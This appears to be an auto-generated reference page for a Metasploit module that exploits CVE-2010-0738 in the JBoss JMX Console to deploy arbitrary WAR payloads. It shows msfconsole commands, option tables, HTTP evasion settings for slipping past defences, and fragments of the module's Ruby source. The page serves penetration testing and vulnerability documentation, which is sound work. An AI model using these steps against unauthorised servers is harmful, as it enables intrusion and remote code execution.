JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/jboss_deploymentfilerepository metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment
Module: auxiliary/admin/http/jboss_deploymentfilerepository
Source code: modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
Disclosure date: -
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2010-0738

This module uses the DeploymentFileRepository class in the JBoss Application Server to deploy a JSP file which then deploys an arbitrary WAR file.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/jboss_deploymentfilerepository
msf auxiliary(jboss_deploymentfilerepository) > show targets
    ... a list of targets ...
msf auxiliary(jboss_deploymentfilerepository) > set TARGET target-id
msf auxiliary(jboss_deploymentfilerepository) > show options
    ... show and set options ...
msf auxiliary(jboss_deploymentfilerepository) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/http/jboss_deploymentfilerepository auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/jboss_deploymentfilerepository

msf6 auxiliary(admin/http/jboss_deploymentfilerepository) > show info

       Name: JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment
     Module: auxiliary/admin/http/jboss_deploymentfilerepository
    License: BSD License
       Rank: Normal

Provided by:
  us3r777 <[email protected]>

Available actions:
  Name      Description
  ----      -----------
  Deploy    Create and deploy app (WAR) to deliver payload
  Undeploy  Remove app (WAR) for cleanup

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  APPBASE    payload          yes       Application base name
  PACKAGE                     no        The package containing the BSHDeployer service
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8080             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /jmx-console     yes       The URI path of the JMX console
  VERB       POST             yes       HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
  VHOST                       no        HTTP server virtual host
  WARFILE                     no        The WAR file to deploy

Description:
  This module uses the DeploymentFileRepository class in the JBoss 
  Application Server to deploy a JSP file which then deploys an 
  arbitrary WAR file.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-0738
  OSVDB (64171)
  http://www.redteam-pentesting.de/publications/jboss
  https://bugzilla.redhat.com/show_bug.cgi?id=574105

Module Options


This is a complete list of options available in the admin/http/jboss_deploymentfilerepository auxiliary module:

msf6 auxiliary(admin/http/jboss_deploymentfilerepository) > show options

Module options (auxiliary/admin/http/jboss_deploymentfilerepository):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   APPBASE    payload          yes       Application base name
   PACKAGE                     no        The package containing the BSHDeployer service
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /jmx-console     yes       The URI path of the JMX console
   VERB       POST             yes       HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
   VHOST                       no        HTTP server virtual host
   WARFILE                     no        The WAR file to deploy

Auxiliary action:

   Name    Description
   ----    -----------
   Deploy  Create and deploy app (WAR) to deliver payload

Advanced Options


Here is a complete list of advanced options supported by the admin/http/jboss_deploymentfilerepository auxiliary module:

msf6 auxiliary(admin/http/jboss_deploymentfilerepository) > show advanced

Module advanced options (auxiliary/admin/http/jboss_deploymentfilerepository):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/jboss_deploymentfilerepository module can do:

msf6 auxiliary(admin/http/jboss_deploymentfilerepository) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Deploy    Create and deploy app (WAR) to deliver payload
   Undeploy  Remove app (WAR) for cleanup

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/jboss_deploymentfilerepository auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/jboss_deploymentfilerepository) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to deploy


Here is a relevant code snippet related to the "Failed to deploy" error message:

71:	    end
72:	
73:	    # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
74:	    # but the file still gets written.
75:	    unless res && ( res.code == 200 || res.code == 500)
76:	      fail_with(Failure::Unknown, "Failed to deploy")
77:	    end
78:	
79:	    print_status("Calling stager to deploy the payload warfile (might take some time)")
80:	    stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
81:	    stager_res = deploy('uri' => stager_uri,

Failed to deploy final payload


Here is a relevant code snippet related to the "Failed to deploy final payload" error message:

82:	                        'method' => 'GET')
83:	
84:	    if res && res.code == 200
85:	      print_good("Payload deployed")
86:	    else
87:	      print_error("Failed to deploy final payload")
88:	    end
89:	
90:	    # Cleaning stagers
91:	    print_status("Undeploying stagers via DeploymentFileRepository.remove()...")
92:	    print_status("This might take some time, be patient...") if http_verb == "HEAD"

Unable to remove WAR [No Response]


Here is a relevant code snippet related to the "Unable to remove WAR [No Response]" error message:

96:	    end
97:	    delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
98:	    delete_res << delete_file('./', stager_base + '.war', '')
99:	    delete_res.each do |res|
100:	      if !res
101:	        print_warning("Unable to remove WAR [No Response]")
102:	      elsif (res.code < 200 || res.code >= 300)
103:	        print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
104:	      end
105:	    end
106:	  end

WARNING: Unable to remove WAR [<RES.CODE> <RES.MESSAGE>]


Here is a relevant code snippet related to the "WARNING: Unable to remove WAR [<RES.CODE> <RES.MESSAGE>]" error message:

98:	    delete_res << delete_file('./', stager_base + '.war', '')
99:	    delete_res.each do |res|
100:	      if !res
101:	        print_warning("Unable to remove WAR [No Response]")
102:	      elsif (res.code < 200 || res.code >= 300)
103:	        print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
104:	      end
105:	    end
106:	  end
107:	
108:	  # Undeploy the WAR and the stager if needed

Unable to remove WAR (no response)


Here is a relevant code snippet related to the "Unable to remove WAR (no response)" error message:

110:	    print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
111:	    print_status("This might take some time, be patient...") if http_verb == "HEAD"
112:	    res = delete_file('./', app_base + '.war', '')
113:	
114:	    unless res
115:	      print_error("Unable to remove WAR (no response)")
116:	      return
117:	    end
118:	
119:	    if res.code < 200 || res.code >= 300
120:	      print_error("Unable to remove WAR [#{res.code} #{res.message}]")

Unable to remove WAR [<RES.CODE> <RES.MESSAGE>]


Here is a relevant code snippet related to the "Unable to remove WAR [<RES.CODE> <RES.MESSAGE>]" error message:

115:	      print_error("Unable to remove WAR (no response)")
116:	      return
117:	    end
118:	
119:	    if res.code < 200 || res.code >= 300
120:	      print_error("Unable to remove WAR [#{res.code} #{res.message}]")
121:	    else
122:	      print_good("Successfully removed")
123:	    end
124:	  end
125:	

Unable to open WARFILE


Here is a relevant code snippet related to the "Unable to open WARFILE" error message:

127:	    app_base = datastore['APPBASE']
128:	
129:	    case action.name
130:	    when 'Deploy'
131:	      unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
132:	        fail_with(Failure::BadConfig, "Unable to open WARFILE")
133:	      end
134:	      war_data = File.read(datastore['WARFILE'])
135:	      deploy_action(app_base, war_data)
136:	    when 'Undeploy'
137:	      undeploy_action(app_base)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • us3r777 <us3r777[at]n0b0.so>

Version


This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.